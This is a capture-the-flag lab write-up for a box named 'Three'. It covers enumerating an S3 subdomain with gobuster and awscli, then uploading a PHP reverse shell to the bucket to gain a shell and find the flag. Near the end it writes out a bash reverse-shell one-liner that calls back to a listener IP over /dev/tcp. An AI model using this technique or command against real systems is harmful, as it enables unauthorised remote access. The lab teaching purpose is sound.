Three writeup
Task 1
How many TCP ports are open?
Answer : 2
Task 2
What is the domain of the email address provided in the "Contact" section of the website?
Answer : thetoppers.htb
Task 3
In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?
Answer : /etc/hosts
We already covered this in the responder box but it's always good to have a reminder. Task 4
Which sub-domain is discovered during further enumeration?
Cool thing about gobuster, it can enumerate subdomains too !
Answer : s3.thetoppers.htb
Don't forget to add it to /etc/hosts Task 5
Which service is running on the discovered sub-domain?
Answer : Amazon S3
S3 (Simple Storage Service) is a scalable object storage service provided by Amazon Web Services (AWS) Task 6
Which command line utility can be used to interact with the service running on the discovered sub-domain?
Answer : awscli
Task 7
Which command is used to set up the AWS CLI installation?
Answer : aws configure
Put some random values as we don't have them Task 8
What is the command used by the above utility to list all of the S3 buckets?
Answer : aws s3 ls
Task 9
This server is configured to run files written in what web scripting language?
Answer : PHP
Task 10
Submit root flag
So we can enumerate files on the s3, but can we upload too ? We know the server is running php files so let's create a php reverse shell, you can use this great website : Revshells (I encourage you to create it yourself and not put this kind of information on a website but it's for swiftness purposes) put the IP address you want the webserver to call (the IP address corresponding to your openvpn tunnel), choose a port and take one of the php reverse shells :
Put it in a php file and upload it on the S3 :
Now let's use netcat to listen on the corresponding port :
And access the uploaded php reverse shell file :
We have our reverse shell !
Now you should check some usual interesting Linux folders (a non-exhaustive list : /home, /etc, /var/log, /tmp, /proc, /root, /usr/local and more !) a well-known one is the /var/www which is commonly used to store files for web servers :
Answer : Get your own !
A good thing would be to stabilize your reverse shell but I let you search about it. (You could use some built-in feature like bash -i >& /dev/tcp/10.10.14.191/6001 0>&1 once on the machine target and receive it with another netcat).
Even just spawn a python pty bash shell which improves interaction.